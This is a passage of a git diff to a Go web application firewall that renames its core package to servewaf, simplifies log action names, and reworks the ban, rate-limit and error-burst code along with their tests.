s := startDiscriminator(t, geojsURL, map[string]string{
|
||||
s := startServeWAF(t, geojsURL, map[string]string{
|
||||
unknownLimitPercent: "0", lookupTimeout: "1h",
|
||||
})
|
||||
req := s.question(siteA, fromDE, "/")
|
||||
req.Header.Set(cookieHeader, cookies(cookieLimit+1))
|
||||
|
||||
wantDisposition(t, do(t, req), tooLarge, discriminator.DispositionDeny)
|
||||
wantDisposition(t, do(t, req), tooLarge, servewaf.DispositionDeny)
|
||||
|
||||
line := s.out.requestLine(t)
|
||||
wantLine(t, line, tooLarge, requestlog.ActionRequestHeaderTooLarge)
|
||||
wantLine(t, line, tooLarge, requestlog.ActionTooLarge)
|
||||
|
||||
if line.RateLimitPercent != nil {
|
||||
t.Errorf("limit percentage %d, want none", *line.RateLimitPercent)
|
||||
if line.LimitPercent != nil {
|
||||
t.Errorf("limit percentage %d, want none", *line.LimitPercent)
|
||||
}
|
||||
|
||||
// The client is under no ban, and GeoJS places it in a country.
|
||||
wantDisposition(t, s.ask(fromDE, "/"), http.StatusOK, discriminator.DispositionAllow)
|
||||
wantDisposition(t, s.ask(fromDE, "/"), http.StatusOK, servewaf.DispositionAllow)
|
||||
}
|
||||
|
||||
func TestAClientGeoJSPlacedInNoCountryCountsAsUnknownWithoutWaiting(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
geojsURL, _ := startGeoJS(t)
|
||||
s := startDiscriminator(t, geojsURL, map[string]string{unknownLimitPercent: "0"})
|
||||
s := startServeWAF(t, geojsURL, map[string]string{unknownLimitPercent: "0"})
|
||||
s.server.GeoJS.Load([]lookup.Answer{{
|
||||
Client: netip.MustParsePrefix(client + "/32"), ASN: "AS64512",
|
||||
Answered: s.clock.Now(), Used: s.clock.Now(),
|
||||
@@ -304,23 +291,22 @@ func TestAClientGeoJSPlacedInNoCountryCountsAsUnknownWithoutWaiting(t *testing.T
|
||||
req := s.question(siteA, client, "/")
|
||||
req.Header.Set(cookieHeader, cookies(cookieLimit+1))
|
||||
|
||||
wantDisposition(t, do(t, req), http.StatusForbidden, discriminator.DispositionDeny)
|
||||
wantLine(t, s.out.requestLine(t), http.StatusForbidden,
|
||||
requestlog.ActionClientIsRateLimited)
|
||||
wantDisposition(t, do(t, req), http.StatusForbidden, servewaf.DispositionDeny)
|
||||
wantLine(t, s.out.requestLine(t), http.StatusForbidden, requestlog.ActionRateLimited)
|
||||
}
|
||||
|
||||
func TestObserveModeWaitsForGeoJSForARequestOverTheHeaderLimits(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
geojsURL, _ := startGeoJS(t)
|
||||
s := startDiscriminator(t, geojsURL, map[string]string{
|
||||
s := startServeWAF(t, geojsURL, map[string]string{
|
||||
mode: observe, addLookupHeaders: on, lookupTimeout: "1h",
|
||||
})
|
||||
req := s.question(siteA, fromDE, "/")
|
||||
req.Header.Set(cookieHeader, cookies(cookieLimit+1))
|
||||
|
||||
got := do(t, req)
|
||||
wantDisposition(t, got, http.StatusOK, discriminator.DispositionAllow)
|
||||
wantDisposition(t, got, http.StatusOK, servewaf.DispositionAllow)
|
||||
|
||||
asn, country := got.header.Get("X-Client-Asn"), got.header.Get("X-Client-Country")
|
||||
if asn != asnDE || country != "DE" {
|
||||
@@ -329,18 +315,18 @@ func TestObserveModeWaitsForGeoJSForARequestOverTheHeaderLimits(t *testing.T) {
|
||||
}
|
||||
}
|
||||
|
||||
// newDiscriminatorInBubble makes a discriminator for a synctest bubble: GeoJS never
|
||||
// newServeWAFInBubble makes a servewaf for a synctest bubble: GeoJS never
|
||||
// answers, a setting needs its answer, and everything is at its default but
|
||||
// for env. No request to it may use the network.
|
||||
func newDiscriminatorInBubble(
|
||||
func newServeWAFInBubble(
|
||||
t *testing.T, env map[string]string,
|
||||
) (*discriminator.Server, *output) {
|
||||
) (*servewaf.Server, *output) {
|
||||
t.Helper()
|
||||
|
||||
settings := map[string]string{tagDeny: "country=KP"}
|
||||
settings := map[string]string{deniedCountries: "KP"}
|
||||
maps.Copy(settings, env)
|
||||
|
||||
server, out, _ := newDiscriminator(t, silentGeoJSURL, time.Now, settings)
|
||||
server, out, _ := newServeWAF(t, unansweredGeoJSURL, time.Now, settings)
|
||||
|
||||
return server, out
|
||||
}
|
||||
@@ -348,13 +334,13 @@ func newDiscriminatorInBubble(
|
||||
// askDirectly hands a question about a request from client straight to server,
|
||||
// as change leaves it, and returns the answer's status and how long it took.
|
||||
func askDirectly(
|
||||
t *testing.T, server *discriminator.Server, change func(*http.Request),
|
||||
t *testing.T, server *servewaf.Server, change func(*http.Request),
|
||||
) (int, time.Duration) {
|
||||
t.Helper()
|
||||
|
||||
req := httptest.NewRequestWithContext(t.Context(), http.MethodGet, "/", http.NoBody)
|
||||
req.RemoteAddr = net.JoinHostPort(rproxyPeer, "1234")
|
||||
req.Header.Set(discriminator.ClientHeader, client)
|
||||
req.Header.Set(servewaf.ClientHeader, client)
|
||||
req.Header.Set(requestIDHeader, "the-id")
|
||||
change(req)
|
||||
|
||||
@@ -367,17 +353,17 @@ func askDirectly(
|
||||
}
|
||||
|
||||
// banClient bans client at now.
|
||||
func banClient(_ *testing.T, server *discriminator.Server, now time.Time) {
|
||||
func banClient(_ *testing.T, server *servewaf.Server, now time.Time) {
|
||||
server.Ledger.BanForLimit(netip.MustParsePrefix(client+"/32"), now, bans.Notes{})
|
||||
}
|
||||
|
||||
// countClient counts one request from client at now for the rate limits.
|
||||
func countClient(_ *testing.T, server *discriminator.Server, now time.Time) {
|
||||
func countClient(_ *testing.T, server *servewaf.Server, now time.Time) {
|
||||
server.Limiter.Count(netip.MustParsePrefix(client+"/32"), now, wholeLimit)
|
||||
}
|
||||
|
||||
// listClient puts client on the blocklist at dropURL.
|
||||
func listClient(t *testing.T, server *discriminator.Server, now time.Time) {
|
||||
func listClient(t *testing.T, server *servewaf.Server, now time.Time) {
|
||||
t.Helper()
|
||||
|
||||
err := server.Lists.Load([]reputation.List{{
|
||||
@@ -389,13 +375,13 @@ func listClient(t *testing.T, server *discriminator.Server, now time.Time) {
|
||||
}
|
||||
|
||||
// decideOnClient puts client on the CrowdSec decision list.
|
||||
func decideOnClient(t *testing.T, server *discriminator.Server, now time.Time) {
|
||||
func decideOnClient(t *testing.T, server *servewaf.Server, now time.Time) {
|
||||
t.Helper()
|
||||
loadDecisions(t, server, now, clientsDecision)
|
||||
}
|
||||
|
||||
// leaveAsItIs prepares nothing.
|
||||
func leaveAsItIs(*testing.T, *discriminator.Server, time.Time) {}
|
||||
func leaveAsItIs(*testing.T, *servewaf.Server, time.Time) {}
|
||||
|
||||
func TestARefusedRequestDoesNotWaitForASlowGeoJS(t *testing.T) {
|
||||
t.Parallel()
|
||||
@@ -406,45 +392,41 @@ func TestARefusedRequestDoesNotWaitForASlowGeoJS(t *testing.T) {
|
||||
name string
|
||||
env map[string]string
|
||||
// prepare gets the server ready, at now, before the question.
|
||||
prepare func(t *testing.T, server *discriminator.Server, now time.Time)
|
||||
prepare func(t *testing.T, server *servewaf.Server, now time.Time)
|
||||
// cookie is the request's Cookie header.
|
||||
cookie string
|
||||
status int
|
||||
action string
|
||||
}{
|
||||
{
|
||||
name: "SWW_DENY_NETS", env: map[string]string{denyNets: client},
|
||||
prepare: leaveAsItIs, status: forbidden, action: requestlog.ActionClientDenied,
|
||||
name: "SWWAF_DENY_NETS", env: map[string]string{denyNets: client},
|
||||
prepare: leaveAsItIs, status: forbidden, action: requestlog.ActionDenied,
|
||||
},
|
||||
{
|
||||
name: "a ban",
|
||||
prepare: banClient, status: forbidden, action: requestlog.ActionTemporarilyBanned,
|
||||
prepare: banClient, status: forbidden, action: requestlog.ActionBanned,
|
||||
},
|
||||
{
|
||||
name: "the rate limits", env: map[string]string{rateLimitPerMinute: "1"},
|
||||
prepare: countClient, status: forbidden,
|
||||
action: requestlog.ActionClientIsRateLimited,
|
||||
prepare: countClient, status: forbidden, action: requestlog.ActionRateLimited,
|
||||
},
|
||||
{
|
||||
name: "the rate limits, with a biased threshold",
|
||||
env: map[string]string{rateLimitPerMinute: "1", unknownLimitPercent: "50"},
|
||||
prepare: countClient, status: forbidden,
|
||||
action: requestlog.ActionClientIsRateLimited,
|
||||
prepare: countClient, status: forbidden, action: requestlog.ActionRateLimited,
|
||||
},
|
||||
{
|
||||
name: "a blocklist", env: map[string]string{blocklistURLs: dropURL},
|
||||
prepare: listClient, status: forbidden, action: requestlog.ActionClientDenied,
|
||||
prepare: listClient, status: forbidden, action: requestlog.ActionDenied,
|
||||
},
|
||||
{
|
||||
name: "the CrowdSec decision list",
|
||||
env: map[string]string{crowdSecURL: lapi, crowdSecKey: bouncerKey},
|
||||
prepare: decideOnClient, status: forbidden,
|
||||
action: requestlog.ActionTemporarilyBanned,
|
||||
prepare: decideOnClient, status: forbidden, action: requestlog.ActionBanned,
|
||||
},
|
||||
{
|
||||
name: "the header limits", cookie: cookies(cookieLimit + 1),
|
||||
prepare: leaveAsItIs, status: tooLarge,
|
||||
action: requestlog.ActionRequestHeaderTooLarge,
|
||||
prepare: leaveAsItIs, status: tooLarge, action: requestlog.ActionTooLarge,
|
||||
},
|
||||
} {
|
||||
t.Run(tc.name, func(t *testing.T) {
|
||||
@@ -453,7 +435,7 @@ func TestARefusedRequestDoesNotWaitForASlowGeoJS(t *testing.T) {
|
||||
// In a synctest bubble, as TestRequestWaitsAsLongAsTheLookupTimeoutSays
|
||||
// says, so that a request that does not wait takes no time at all.
|
||||
synctest.Test(t, func(t *testing.T) {
|
||||
server, out := newDiscriminatorInBubble(t, tc.env)
|
||||
server, out := newServeWAFInBubble(t, tc.env)
|
||||
tc.prepare(t, server, time.Now())
|
||||
|
||||
status, took := askDirectly(t, server, func(req *http.Request) {
|
||||
@@ -481,7 +463,7 @@ func TestAQuestionWaitsForASlowGeoJSOnlyAsLongAsTheDefaultSays(t *testing.T) {
|
||||
name string
|
||||
env map[string]string
|
||||
// prepare gets the server ready, at now, before the question.
|
||||
prepare func(t *testing.T, server *discriminator.Server, now time.Time)
|
||||
prepare func(t *testing.T, server *servewaf.Server, now time.Time)
|
||||
status int
|
||||
action string
|
||||
}{
|
||||
@@ -510,7 +492,7 @@ func TestAQuestionWaitsForASlowGeoJSOnlyAsLongAsTheDefaultSays(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
synctest.Test(t, func(t *testing.T) {
|
||||
server, out := newDiscriminatorInBubble(t, tc.env)
|
||||
server, out := newServeWAFInBubble(t, tc.env)
|
||||
tc.prepare(t, server, time.Now())
|
||||
|
||||
status, took := askDirectly(t, server, func(*http.Request) {})
|
||||
@@ -526,9 +508,7 @@ func TestAQuestionWaitsForASlowGeoJSOnlyAsLongAsTheDefaultSays(t *testing.T) {
|
||||
}
|
||||
}
|
||||
|
||||
func TestDiscriminatorAnswersWithinTheTimeLimitWhileEveryOutsideSourceHangs(
|
||||
t *testing.T,
|
||||
) {
|
||||
func TestServeWAFAnswersWithinTheTimeLimitWhileEveryOutsideSourceHangs(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
held, askedGeoJS, _ := startHeldGeoJS(t)
|
||||
@@ -541,14 +521,12 @@ func TestDiscriminatorAnswersWithinTheTimeLimitWhileEveryOutsideSourceHangs(
|
||||
|
||||
t.Cleanup(func() { _ = resolver.Close() })
|
||||
|
||||
server, out, _ := newDiscriminatorWith(t, func(
|
||||
params discriminator.Params,
|
||||
) *discriminator.Server {
|
||||
server, out, _ := newServeWAFWith(t, func(params servewaf.Params) *servewaf.Server {
|
||||
params.AbuseIPDBURL = silentAbuseIPDBURL
|
||||
|
||||
return discriminator.New(params)
|
||||
return servewaf.New(params)
|
||||
}, held, time.Now, map[string]string{
|
||||
tagDeny: "country=KP", wafMode: block,
|
||||
deniedCountries: "KP", wafMode: block,
|
||||
dnsblZones: dnsblZone, dnsblResolver: resolver.LocalAddr().String(),
|
||||
abuseIPDBKey: accountKey,
|
||||
blocklistURLs: held + "/drop.txt", asnLimitPercentURL: held + "/asn.txt",
|
||||
@@ -1,10 +1,7 @@
|
||||
package discriminator
|
||||
|
||||
// The heuristic active_ban, and the code that makes bans, which several
|
||||
// heuristics share. active_ban reads SWW_MODE; the bans are the ban ledger's.
|
||||
package servewaf
|
||||
|
||||
import (
|
||||
"context"
|
||||
"net/http"
|
||||
"net/netip"
|
||||
"time"
|
||||
|
||||
@@ -15,21 +12,17 @@ import (
|
||||
"sneak.berlin/go/smallwebwaf/internal/requestlog"
|
||||
)
|
||||
|
||||
// banResponse is a refusal answered with SWW_BAN_RESPONSE, and logged
|
||||
// banResponse is a refusal answered with SWWAF_BAN_RESPONSE, and logged
|
||||
// with action.
|
||||
func (rq *request) banResponse(action string) *refusal {
|
||||
return &refusal{status: rq.h.config.BanResponse, action: action}
|
||||
}
|
||||
|
||||
// activeBan refuses a client a ban covers: a ban on a netblock the client is
|
||||
// in, in force at now. It notes for the log line when that ban ends. A request
|
||||
// that makes the ban permanent, or in observe mode would have, raises the alert
|
||||
// for it. Its figures are the ban's netblock and when it ends.
|
||||
type activeBan struct{}
|
||||
|
||||
func (activeBan) name() string { return "active_ban" }
|
||||
|
||||
func (activeBan) check(_ context.Context, rq *request, now time.Time) *verdict {
|
||||
// banned reports whether a ban on a netblock the client is in covers the
|
||||
// request at now, and notes for the log line when that ban ends. A
|
||||
// request that makes the ban permanent, or in observe mode would have,
|
||||
// raises the alert for it.
|
||||
func (rq *request) banned(now time.Time) bool {
|
||||
check := rq.h.ledger.Check
|
||||
if rq.h.config.Observe {
|
||||
check = rq.h.ledger.Find // the ban refuses nothing, and stays as it is
|
||||
@@ -45,39 +38,90 @@ func (activeBan) check(_ context.Context, rq *request, now time.Time) *verdict {
|
||||
rq.alertBan(ban)
|
||||
}
|
||||
|
||||
if !banned {
|
||||
return nil
|
||||
return banned
|
||||
}
|
||||
|
||||
// limitBroken counts the request for the rate limits at now, notes the
|
||||
// client's counts for the log line, and reports whether the request takes
|
||||
// the client over a rate limit, as its limit percentage lowers it, which
|
||||
// breaks it.
|
||||
func (rq *request) limitBroken(now time.Time) bool {
|
||||
counts, hit, over := rq.h.limiter.Count(rq.h.clientGroup(rq.client), now,
|
||||
rq.limitPercent.percent)
|
||||
rq.line.Counts = counts
|
||||
|
||||
if over {
|
||||
rq.banForLimit(now, hit, rq.h.config.BanResponse)
|
||||
}
|
||||
|
||||
return &verdict{
|
||||
action: banAction(ban.Permanent()),
|
||||
figures: map[string]any{
|
||||
figureNetblock: ban.Netblock.String(), "ban_expires": rq.line.BanExpires,
|
||||
},
|
||||
return over
|
||||
}
|
||||
|
||||
// countBytes counts the request's bytes, as countedBytes gives them, for
|
||||
// the byte limits, once its report has come, and notes the client's byte totals
|
||||
// for the log line; its requests stay there as the rate limits counted them.
|
||||
// Only an allowed request has them counted, and only one the rate limits
|
||||
// counted; in observe mode, not one that enforce mode would have refused. Bytes
|
||||
// that take the client over a byte limit, as its limit percentage for the byte
|
||||
// limits lowers it, break it; the response was passed on whole.
|
||||
func (rq *request) countBytes() {
|
||||
if !rq.counted || rq.line.WouldAction != "" {
|
||||
return
|
||||
}
|
||||
|
||||
now := rq.h.now()
|
||||
|
||||
counts, hit, over := rq.h.limiter.CountBytes(rq.h.clientGroup(rq.client), now,
|
||||
rq.countedBytes(), rq.bytesPercent.percent)
|
||||
rq.line.Counts.MinuteBytes = counts.MinuteBytes
|
||||
rq.line.Counts.HourBytes = counts.HourBytes
|
||||
rq.line.Counts.DayBytes = counts.DayBytes
|
||||
|
||||
if over {
|
||||
rq.banForLimit(now, hit, rq.out.status)
|
||||
}
|
||||
}
|
||||
|
||||
// banAction is the action of a request refused under a ban or for making one:
|
||||
// permanent says the ban never runs out.
|
||||
func banAction(permanent bool) string {
|
||||
if permanent {
|
||||
return requestlog.ActionPermanentlyBanned
|
||||
// countRefusal counts the request for the error burst once it has been
|
||||
// answered, if servewaf refused it after a rule file match, a trap path or a
|
||||
// Core Rule Set match, and in observe mode if enforce mode would have: more than
|
||||
// SWWAF_ERROR_BURST_THRESHOLD such refusals of the client within a minute
|
||||
// break a limit. A client in SWWAF_ALLOW_NETS, which the checks skip, is
|
||||
// not counted, and nothing is while the threshold is off.
|
||||
func (rq *request) countRefusal() {
|
||||
cfg := rq.h.config
|
||||
if cfg.ErrorBurstThreshold == 0 {
|
||||
return
|
||||
}
|
||||
|
||||
return requestlog.ActionTemporarilyBanned
|
||||
}
|
||||
|
||||
// limitFigures are the figures of a heuristic that broke hit, a limit: its
|
||||
// window, the count and the limit.
|
||||
func limitFigures(hit ratelimit.Hit) map[string]any {
|
||||
return map[string]any{
|
||||
figureWindow: hit.Window, figureCount: hit.Count, figureLimit: hit.Limit,
|
||||
if !rq.attack && !rq.ruleBlocked && !rq.wafBlocked {
|
||||
return
|
||||
}
|
||||
|
||||
now := rq.h.now()
|
||||
|
||||
hit, over := rq.h.limiter.CountRefusal(rq.h.clientGroup(rq.client), now,
|
||||
cfg.ErrorBurstThreshold)
|
||||
if !over {
|
||||
return
|
||||
}
|
||||
|
||||
// What the client was sent, or in observe mode would have been.
|
||||
status := rq.out.status
|
||||
|
||||
switch rq.line.WouldAction {
|
||||
case requestlog.ActionRuleBlocked, requestlog.ActionWAFBlocked:
|
||||
status = http.StatusForbidden
|
||||
case requestlog.ActionBanned:
|
||||
status = cfg.BanResponse
|
||||
}
|
||||
|
||||
rq.banForLimit(now, hit, status)
|
||||
}
|
||||
|
||||
// countedBytes returns the request's bytes, once it has ended, as the
|
||||
// byte limits and the anomaly thresholds count them: the response's body
|
||||
// bytes, the request's, or both, as SWW_BYTES_COUNT says.
|
||||
// bytes, the request's, or both, as SWWAF_BYTES_COUNT says.
|
||||
func (rq *request) countedBytes() int64 {
|
||||
response, request := rq.out.bytes, rq.requestBytes
|
||||
|
||||
@@ -94,7 +138,7 @@ func (rq *request) countedBytes() int64 {
|
||||
// banForLimit bans the client's netblock at now for a broken limit, the
|
||||
// one hit names, notes the offence for the log line and counts the hit in
|
||||
// the metrics. status is what the client was sent, or is sent:
|
||||
// SWW_BAN_RESPONSE for a request over a rate limit, what the report says for
|
||||
// SWWAF_BAN_RESPONSE for a request over a rate limit, what the report says for
|
||||
// one whose bytes broke a byte limit, the refusal for one that broke the
|
||||
// error burst. The ban's notes give the client's limit percentage for a
|
||||
// rate limit or a byte limit; the error burst is not lowered. The ban sets
|
||||
@@ -106,7 +150,7 @@ func (rq *request) banForLimit(now time.Time, hit ratelimit.Hit, status int) {
|
||||
case ratelimit.KindBytes:
|
||||
rq.line.LimitHit = hit.Window + "_bytes" // as counts names the byte totals
|
||||
case ratelimit.KindRefusals:
|
||||
rq.line.LimitHit = requestlog.LimitHitMinuteRefusals
|
||||
rq.line.LimitHit = requestlog.LimitHitErrorBurst
|
||||
default:
|
||||
rq.line.LimitHit = hit.Window
|
||||
}
|
||||
@@ -134,9 +178,9 @@ func (rq *request) banForLimit(now time.Time, hit ratelimit.Hit, status int) {
|
||||
|
||||
switch hit.Kind {
|
||||
case ratelimit.KindRequests:
|
||||
notes.LimitPercent, notes.LimitPercentSetting = rq.rateLimitPercent.logged()
|
||||
notes.LimitPercent, notes.LimitPercentSetting = rq.limitPercent.logged()
|
||||
case ratelimit.KindBytes:
|
||||
notes.LimitPercent, notes.LimitPercentSetting = rq.bytesLimitPercent.logged()
|
||||
notes.LimitPercent, notes.LimitPercentSetting = rq.bytesPercent.logged()
|
||||
}
|
||||
|
||||
if rq.h.config.Observe {
|
||||
@@ -161,11 +205,11 @@ func (rq *request) banForLimit(now time.Time, hit ratelimit.Hit, status int) {
|
||||
// attack, which notes name: the ban rule that matched, or the trap path
|
||||
// asked for. It fills in the rest of the notes. In observe mode it makes
|
||||
// no ban, and raises the alert for the ban it would have made, if that
|
||||
// alert would be sent. It returns the action for that ban.
|
||||
func (rq *request) banForAttack(now time.Time, notes bans.Notes) string {
|
||||
// alert would be sent.
|
||||
func (rq *request) banForAttack(now time.Time, notes bans.Notes) {
|
||||
netblock := rq.h.netblock(rq.client)
|
||||
if rq.h.config.Observe && !rq.wouldAlertBan(netblock, now, bans.CauseAttack) {
|
||||
return banAction(rq.h.ledger.WouldBePermanent(netblock, now, bans.CauseAttack))
|
||||
return
|
||||
}
|
||||
|
||||
notes.ASN = rq.line.ASN
|
||||
@@ -181,7 +225,7 @@ func (rq *request) banForAttack(now time.Time, notes bans.Notes) string {
|
||||
rq.alertBan(ban)
|
||||
}
|
||||
|
||||
return banAction(ban.Permanent())
|
||||
return
|
||||
}
|
||||
|
||||
ban, made := rq.h.ledger.BanForAttack(netblock, now, notes)
|
||||
@@ -190,18 +234,16 @@ func (rq *request) banForAttack(now time.Time, notes bans.Notes) string {
|
||||
if made {
|
||||
rq.alertBan(ban)
|
||||
}
|
||||
|
||||
return banAction(ban.Permanent())
|
||||
}
|
||||
|
||||
// banForCrowdSec bans the client's netblock at now until decision,
|
||||
// CrowdSec's decision on the client, ends. In observe mode it makes no
|
||||
// ban, and raises the alert for the ban it would have made, if that alert
|
||||
// would be sent. It returns the action for that ban.
|
||||
func (rq *request) banForCrowdSec(now time.Time, decision reputation.Decision) string {
|
||||
// would be sent.
|
||||
func (rq *request) banForCrowdSec(now time.Time, decision reputation.Decision) {
|
||||
netblock := rq.h.netblock(rq.client)
|
||||
if rq.h.config.Observe && !rq.wouldAlertBan(netblock, now, bans.CauseCrowdSec) {
|
||||
return banAction(rq.h.ledger.WouldBePermanent(netblock, now, bans.CauseCrowdSec))
|
||||
return
|
||||
}
|
||||
|
||||
notes := bans.Notes{
|
||||
@@ -220,7 +262,7 @@ func (rq *request) banForCrowdSec(now time.Time, decision reputation.Decision) s
|
||||
rq.alertBan(ban)
|
||||
}
|
||||
|
||||
return banAction(ban.Permanent())
|
||||
return
|
||||
}
|
||||
|
||||
ban, made := rq.h.ledger.BanForCrowdSec(netblock, now, decision.Expires,
|
||||
@@ -230,14 +272,12 @@ func (rq *request) banForCrowdSec(now time.Time, decision reputation.Decision) s
|
||||
if made {
|
||||
rq.alertBan(ban)
|
||||
}
|
||||
|
||||
return banAction(ban.Permanent())
|
||||
}
|
||||
|
||||
// wouldAlertBan reports whether the alert for a ban on netblock for cause
|
||||
// made at now would be sent. In observe mode the ban the request would
|
||||
// have made is worked out only then, at most once per
|
||||
// SWW_ALERT_COOLDOWN and never with no webhook set: its notes count the
|
||||
// SWWAF_ALERT_COOLDOWN and never with no webhook set: its notes count the
|
||||
// netblock's requests, which can mean going through every client.
|
||||
func (rq *request) wouldAlertBan(
|
||||
netblock netip.Prefix, now time.Time, cause string,
|
||||
@@ -303,7 +343,7 @@ func (rq *request) netblockRequests(netblock netip.Prefix) int64 {
|
||||
}
|
||||
|
||||
// netblock is the netblock a ban on client covers: its IPv4 address,
|
||||
// widened to SWW_BAN_SCOPE_V4_PREFIX, or the IPv6 group clientGroup
|
||||
// widened to SWWAF_BAN_SCOPE_V4_PREFIX, or the IPv6 group clientGroup
|
||||
// counts it in.
|
||||
func (h *handler) netblock(client netip.Addr) netip.Prefix {
|
||||
addr := client.Unmap()
|
||||
@@ -1,4 +1,4 @@
|
||||
package discriminator_test
|
||||
package servewaf_test
|
||||
|
||||
import (
|
||||
"bufio"
|
||||
@@ -15,8 +15,8 @@ import (
|
||||
"time"
|
||||
|
||||
"sneak.berlin/go/smallwebwaf/internal/bans"
|
||||
"sneak.berlin/go/smallwebwaf/internal/discriminator"
|
||||
"sneak.berlin/go/smallwebwaf/internal/requestlog"
|
||||
"sneak.berlin/go/smallwebwaf/internal/servewaf"
|
||||
)
|
||||
|
||||
const (
|
||||
@@ -26,7 +26,7 @@ const (
|
||||
userAgent = "ban-test/1.0"
|
||||
// permanent is the log line's ban_expires for a permanent ban.
|
||||
permanent = "permanent"
|
||||
// banResponseClose is the SWW_BAN_RESPONSE that closes the connection.
|
||||
// banResponseClose is the SWWAF_BAN_RESPONSE that closes the connection.
|
||||
banResponseClose = "close"
|
||||
)
|
||||
|
||||
@@ -40,7 +40,7 @@ func TestBrokenLimitBansTheClient(t *testing.T) {
|
||||
// client for an hour, the default.
|
||||
s.get(client, http.StatusOK, requestlog.ActionForward)
|
||||
|
||||
line := s.get(client, http.StatusForbidden, requestlog.ActionClientIsRateLimited)
|
||||
line := s.get(client, http.StatusForbidden, requestlog.ActionRateLimited)
|
||||
if line.LimitHit != minute || line.Offence != requestlog.OffenceLimit ||
|
||||
line.BanExpires != expires {
|
||||
t.Errorf("log line has limit_hit %q, offence %q and ban_expires %q, "+
|
||||
@@ -51,7 +51,7 @@ func TestBrokenLimitBansTheClient(t *testing.T) {
|
||||
// Every request while the ban lasts is refused.
|
||||
clk.advance(time.Hour - time.Second)
|
||||
|
||||
line = s.get(client, http.StatusForbidden, requestlog.ActionTemporarilyBanned)
|
||||
line = s.get(client, http.StatusForbidden, requestlog.ActionBanned)
|
||||
if line.BanExpires != expires || line.Offence != "" || line.LimitHit != "" {
|
||||
t.Errorf("log line has ban_expires %q, offence %q and limit_hit %q, "+
|
||||
"want %s and neither of the others", line.BanExpires, line.Offence,
|
||||
@@ -78,9 +78,7 @@ func TestBanLengthsFollowTheSettings(t *testing.T) {
|
||||
breakLimit := func() string {
|
||||
s.get(client, http.StatusOK, requestlog.ActionForward)
|
||||
|
||||
line := s.get(client, http.StatusForbidden, requestlog.ActionClientIsRateLimited)
|
||||
|
||||
return line.BanExpires
|
||||
return s.get(client, http.StatusForbidden, requestlog.ActionRateLimited).BanExpires
|
||||
}
|
||||
wantExpires := func(got string, length time.Duration) {
|
||||
t.Helper()
|
||||
@@ -91,19 +89,19 @@ func TestBanLengthsFollowTheSettings(t *testing.T) {
|
||||
}
|
||||
}
|
||||
|
||||
// A first ban lasts SWW_LIMIT_BAN_DURATION; one within
|
||||
// SWW_LIMIT_BAN_REPEAT_WINDOW after it ended, three times as long.
|
||||
// A first ban lasts SWWAF_LIMIT_BAN_DURATION; one within
|
||||
// SWWAF_LIMIT_BAN_REPEAT_WINDOW after it ended, three times as long.
|
||||
wantExpires(breakLimit(), 10*time.Minute)
|
||||
clk.advance(10*time.Minute + time.Hour)
|
||||
wantExpires(breakLimit(), 30*time.Minute)
|
||||
|
||||
// Later than that, SWW_LIMIT_BAN_DURATION again.
|
||||
// Later than that, SWWAF_LIMIT_BAN_DURATION again.
|
||||
clk.advance(30*time.Minute + time.Hour + time.Second)
|
||||
wantExpires(breakLimit(), 10*time.Minute)
|
||||
clk.advance(10 * time.Minute)
|
||||
wantExpires(breakLimit(), 30*time.Minute)
|
||||
|
||||
// 90 minutes would be longer than SWW_MAX_BAN_DURATION: the ban is
|
||||
// 90 minutes would be longer than SWWAF_MAX_BAN_DURATION: the ban is
|
||||
// permanent.
|
||||
clk.advance(30 * time.Minute)
|
||||
|
||||
@@ -113,7 +111,7 @@ func TestBanLengthsFollowTheSettings(t *testing.T) {
|
||||
}
|
||||
|
||||
clk.advance(365 * 24 * time.Hour)
|
||||
s.get(client, http.StatusForbidden, requestlog.ActionPermanentlyBanned)
|
||||
s.get(client, http.StatusForbidden, requestlog.ActionBanned)
|
||||
}
|
||||
|
||||
func TestBanIsNotCountedAndResetsTheCounters(t *testing.T) {
|
||||
@@ -125,10 +123,10 @@ func TestBanIsNotCountedAndResetsTheCounters(t *testing.T) {
|
||||
// client for an hour.
|
||||
s.get(client, http.StatusOK, requestlog.ActionForward)
|
||||
s.get(client, http.StatusOK, requestlog.ActionForward)
|
||||
s.get(client, http.StatusForbidden, requestlog.ActionClientIsRateLimited)
|
||||
s.get(client, http.StatusForbidden, requestlog.ActionRateLimited)
|
||||
|
||||
for range 3 {
|
||||
s.get(client, http.StatusForbidden, requestlog.ActionTemporarilyBanned)
|
||||
s.get(client, http.StatusForbidden, requestlog.ActionBanned)
|
||||
}
|
||||
|
||||
// Later the same day the client has its whole allowance again: the
|
||||
@@ -137,7 +135,7 @@ func TestBanIsNotCountedAndResetsTheCounters(t *testing.T) {
|
||||
clk.advance(time.Hour)
|
||||
s.get(client, http.StatusOK, requestlog.ActionForward)
|
||||
s.get(client, http.StatusOK, requestlog.ActionForward)
|
||||
s.get(client, http.StatusForbidden, requestlog.ActionClientIsRateLimited)
|
||||
s.get(client, http.StatusForbidden, requestlog.ActionRateLimited)
|
||||
|
||||
banned := server.Ledger.Bans(netip.MustParsePrefix(client + "/32"))
|
||||
if len(banned) != 2 || banned[0].Notes.Refused != 3 {
|
||||
@@ -150,8 +148,8 @@ func TestBanCoversTheClientsNetblock(t *testing.T) {
|
||||
|
||||
// In the IPv4 cases, client breaks the limit; these two are next to it.
|
||||
const (
|
||||
allowed = "203.0.113.60" // in SWW_ALLOW_NETS
|
||||
exempt = "203.0.113.50" // in SWW_RATE_LIMIT_EXEMPT_NETS
|
||||
allowed = "203.0.113.60" // in SWWAF_ALLOW_NETS
|
||||
exempt = "203.0.113.50" // in SWWAF_RATE_LIMIT_EXEMPT_NETS
|
||||
)
|
||||
|
||||
for _, tc := range []struct {
|
||||
@@ -166,7 +164,7 @@ func TestBanCoversTheClientsNetblock(t *testing.T) {
|
||||
nil, []string{otherClient, exempt},
|
||||
},
|
||||
{
|
||||
"the IPv4 netblock SWW_BAN_SCOPE_V4_PREFIX sets",
|
||||
"the IPv4 netblock SWWAF_BAN_SCOPE_V4_PREFIX sets",
|
||||
map[string]string{banScopeV4Prefix: "24"}, client,
|
||||
[]string{otherClient, exempt}, []string{"203.0.112.9", allowed},
|
||||
},
|
||||
@@ -175,7 +173,7 @@ func TestBanCoversTheClientsNetblock(t *testing.T) {
|
||||
[]string{"2001:db8:5::ffff:1"}, []string{"2001:db8:5:1::1"},
|
||||
},
|
||||
{
|
||||
"the IPv6 netblock SWW_IPV6_GROUP_PREFIX sets",
|
||||
